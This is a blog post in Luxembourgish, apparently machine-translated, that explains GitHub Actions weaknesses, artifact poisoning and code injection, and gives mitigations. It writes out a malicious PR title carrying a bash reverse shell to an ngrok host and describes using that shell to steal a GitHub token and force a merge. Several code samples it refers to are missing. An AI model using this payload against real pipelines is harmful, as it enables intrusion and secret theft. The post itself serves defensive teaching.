An de fréiere Posts (kuckt Indirekt Vergëftung Pipeline Ausféierung I-PPE an Gëft gemaach Pipeline Ausféierungs-PSA , mir hunn eis am Fong mat PSA (Vergëftungsausrüstung) beschäftegt Pipeline Ausféierung): mir hunn gesinn, wéi et funktionéiert, seng Auswierkungen, e puer Ausbeutung souwéi e puer Weeër fir sech dogéint ze schützen.
Dëse Beitrag geet déif an e puer aner Saachen an CI/CD pipeline Schwachstelle wéi Artefaktvergëftung a Codeinjektioun.
Fir dat ze maachen, baséiere mir et iergendwéi op perséinlecher Schutzausrüstung, also loosst eis eng kuerz Zesummefassung maachen vun deem wat mir iwwer perséinlech Schutzausrüstung gesinn hunn.
Fréier Aarbechten iwwer perséinlech Schutzausrüstung
Zesummegefaasst, mir hunn mat engem einfache GitHub ugefaangen. pipeline fir bäigedroenen Code ze bauen an ze testen duerch e pull requestAusserdeem definéiert et e puer Kontrollen, déi, wa se erfëllt sinn, de Code an de Mainstream-Branch fusionéieren. Mir hunn dëst genannt Szenario # 1.
An eisem viregten Artikel hu mir gewisen, wéi dës Basis pipeline war ufälleg fir souwuel D-PPE wéi och I-PPE.
Mir hunn et fäerdeg bruecht D-PPE fixéieren by Ännerung vum Trigger-Event aus pull_request ze maachen pull_request_target, mécht de pipeline sécher fir D-PPEAls Erënnerung, pipelines, deen op engem pull_request_target Event ausgeléist gëtt, féiert d'Basis aus pipeline Code, net den pipeline Code enthale am pull request.
Mir hunn dëst genannt als Szenario # 2.
Als Resultat vun dëser Modifikatioun hu mir bewisen, datt Szenario Nr. 2 war nach ëmmer vulnérabel fir I-PPE.
Fir et ze reparéieren, hu mir decidéiert fir ze splécken pipeline an zwee:
- Déi 1. pipeline (CI bauen) géif Kuckt de PR-Code (fir en ze bauen), maacht de Build a generéiert en Artefakt.
- De 2ten pipeline (Test-CI) géif Kuckt de Basiscode (fir Ännerungen am Shell-Skript ze vermeiden). an déi originell Skripter géint den Artefakt ausféieren.
- Fir den Test-CI ze synchroniséieren pipeline fir NO dem Build CI auszeféieren pipeline, mir wäerten de benotzen workflow_run ausléisen.
Mir hunn dëst genannt als Szenario # 3.
Loosst eis de Code vun deenen zwee recuperéieren pipelines no dësen Modifikatiounen…
1st pipeline (Build-CI):
2nd pipeline (Test-CI):
Artefaktvergëftung
Geméiss den uewe genannten CI/CD pipelines:
- pipeline CI bauen is sécher zu deenen zwee D-PSA (wéinst pull_request_target) an I-PSA (well et de Shell-Skript net méi ausféiert).
- pipeline Test-CI ass och sécher zu deenen zwee D-PSA (wéinst workflow_run) an I-PSA (well et de Basiscode iwwerpréift fir den originelle Shell-Skript ze kréien)
Loosst eis dës "Léisung" méi genau ukucken.
Pipeline Test-CI luet den Artefakt als Zip-Datei erof.
Wann et ausgepackt ass, gëtt de "safe" Shell-Skript ausgefouert. Firwat soen ech de "safe" Shell-Skript? Well an engem virege Schrëtt, den pipeline kontrolléiert de "Basis"-Code, sou datt den urspréngleche Skript an den Aarbechtsberäich-Ordner placéiert gëtt. Dofir, wann den pipeline féiert de Shell-Skript aus, deen et mat dem virdru erofgeluedene Binärprogramm ausféiere wäert.
Dann, wat ass den Problem mat dëser Approche? De Problem kënnt wann iergendeen Benotzer en neien "erstellt" pipeline.
Wann e Benotzer eng PR opmécht, déi eng nei enthält pipeline, GitHub wäert dat ausféieren pipeline (ënner bestëmmte Konditiounen, wéi mir an der viregter Versioun gesinn hunn) Post).
Gitt dëst, wat wann de Benotzer en neien erstellt pipeline mam selwechten Numm wéi Build CI? Jo, et ass iwwerraschend, awer GitHub erlaabt Iech zwou ze kreéieren pipelines mam selwechten Numm!!
Denkt drun, datt den Test CI no dem Build CI ausgefouert gëtt…
Iwwerraschenderweis, well et elo zwou sinn pipelines mam selwechten Numm, den pipeline Test CI gëtt zweemol ausgefouerteen nom Original pipeline an aner no der "neier" pipeline.
Wéi kann den Hacker dovunner profitéieren?
- Als éischt kann de béiswëllege Benotzer de Shell-Skript änneren, fir de Geheimnis un den Hacker-kontrolléierte Server ze schécken.
- Zweetens, déi nei pipeline enthält eng Zeil fir dat modifizéiert Shellskript an den Artefakt ze kopéieren → Vergëftung vum Artifact!!!
Wann de Benotzer eng PR mat dësen Ännerungen opmécht, gëtt déi "nei" pipeline gëtt ausgeféiert (e vergëft Artefakt eroplueden) an den Deploy CI pipeline gëtt duerno ausgefouert, wat zu engem Dat "modifizéiert" Shellskript iwwerschreift dat "ursprénglecht" Shellskript, dat sech an der pipeline Aarbechtsberäich.
Dëst ass wat mir nennen Artefaktvergëftung, dat heescht d' Fäegkeet fir ze modifizéieren (Hack) pipeline Logik duerch Modifikatioun vun engem pipeline artefakt.
Eng méiglech Erhuelung ass zimmlech einfach: Wann een den Artefakt einfach an en Ënnerordner vum Aarbechtsberäich auspackt, géif dat vermeit ginn, datt de "Basis"-Shellskript iwwerschriwwe gëtt..
Code Injektioun
Nieft Artefaktvergëftung, kënnt Dir nach aner Schwachstelle am uewe genannten Code gesinn?
Lass!!
Wéi Dir am Code gesitt, pipeline Build CI baut de Binärdatei op, et luet de Binärdatei als erop pipeline Artefakt an ausserdem luet et e puer zousätzlech Donnéeën erop: den PR-Titel an d'PR-Id.
Firwat? Well, fir de PR zesummenzeféieren, wéi Dir hei ënnendrënner gesitt, den Test-CI pipeline brauch d'PR-ID fir d'GitHub REST API opzeruffen, déi de PR zesummeféiert.
Wéi funktionéiert den Test-CI pipeline déi PR ID kréien? Informatiounen an Textdateien deelen (Deel vun enger pipeline Artefakt) ass eng üblech Method fir Informatiounen tëscht pipelines. An dat ass genau dat, wat dës pipelines maachen.
Streng geholl gëtt nëmmen d'PR-Id gebraucht fir d'PR zesummenzeféieren, awer den pipeline Den Admin huet decidéiert, datt den Build CI och den PR-Titel enthält, sou datt den Test CI pipeline géif eng Informatiounsmessage ausdrécken, déi souwuel d'PR-Id wéi och den Titel enthält.
Den PR-Titel besteet ëmmer aus Daten, déi vum Benotzer kommen, a muss dofir ëmmer als net vertrauenswierdeg ugesi ginn.. Also den pipeline muss als solch behandelen a Schutzmoossname treffen.
Am uewe genannten Code kënne mir déi spezifesch Noriicht gesinn, déi den PR-Titel widderspigelt. Et ass just en "echo" Linux-Kommando.
Duerch Stringinterpolatioun, wann den Titel en "Dummy-Titel" ass, generéiert Github intern e Skript mat
Mee, wat wann den PR-Titel eppes wéi dëst wier:
"Béiswëllegen Titel" && bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10178 0>&1 && echo "De Skript géif ginn:
Dëst féiert zu enger Opmaache vun enger Reverse Shell géint de vun Hacker kontrolléierte Server.
Déi Reverse Shell kéint benotzt ginn fir Zougang zu der pipeline geheimer (denkt drun datt Test CI am Privilegiemodus leeft, well en duerch workflow_run ausgeléist gëtt, sou datt en Zougang zu Geheimnisser huet).
Mä, wat kann een dann nach mat där Reverse Shell maachen?
Kuckt Iech de CI-Testcode un:
Wéi Dir am Test CI gesitt pipeline, de curl merge Kommando benotzt GITHUB_PAT (definéiert als en pipeline env var), sou datt de Runner d'GITHUB_PAT als Ëmweltvariabel enthält. Ausserdeem erstellt en och eng env var déi d'PR ID liest.
Also muss den Hacker just de curl-Kommando kopéieren an an d'Reverse Shell pechen, wouduerch de PR direkt an de geschützte Branch zesummegeféiert gëtt.
Fir dat alles ze schützen:
- To avoider Stringinterpolatioun mat net vertrauenswürdege Daten (ufälleg fir Code Sprëtz) vun definéieren pipeline Ëmfeldvariablen amplaz et direkt an Echo-Kommandoen ze benotzen
Amplaz ze benotzen:
Benotzt dëst:
- Och mat engem Code-Injection-Exploit wier de Curl Merge-Kommando net erfollegräich gewiescht, wann Dir dat richteg gemaach hätt. geschützt Är pull requests duerch eng obligatoresch Iwwerpréiwung oder Genehmegung.
Conclusiounen
Et ass iergendwéi schwéier ze schützen CI/CD pipelines Konfiguratioun a kréien pipelineass fräi vu Schwachstellen.
Dat heescht net CI/CD Systemer (wéi an dësem Fall GitHub) si per se vulnérabel. CI/CD Systemer bidden d'Mëttel fir sech géint Schwachstelle ze schützen ... awer et ass d'Verantwortung vum Administrateur fir dës Schutzmoossnamen ëmzesetzen.
Mee ... Dir kënnt eng Schwachstelle net léisen, ausser Dir sidd Iech vun hirer Existenz bewosst!!!
Natierlech kann en héichqualifizéierten Devops-Admin all dës Geforen am Kapp hunn a richteg schützen. CI/CD pipelines, awer trotzdem ass et ganz wäertvoll e Produkt ze benotzen fir all dës Zorte vu Schwachstelle festzestellen. An natierlech fir dëse Prozess vun der Detektioun vu Schwachstelle ze automatiséieren (zum Beispill de Scan als Deel vun CI/CD pipelines).
Dës Approche kéint een als "Sécherheetsgatter":
- E neien erstellen pipeline (Sécherheetspaart) fir ze kontrolléieren CI/CD pipelineSchwachstelle a maachen déi aner CI pipelines nëmmen no erfollegräicher Ofschloss vum Sécherheetsgate auszeféieren pipeline.
- D'Sécherheetspaart pipelines wäert kontrolléieren CI/CD pipelineSchwachstelle a
- Wann Vulnen fonnt ginn, wäert et feelen an dofir déi aner pipelines gëtt net ausgefouert.
- Wann keng Vulner fonnt ginn, da pipeline wäert erfollegräich sinn an déi aner pipelines wäert wéi gewinnt ausféieren.
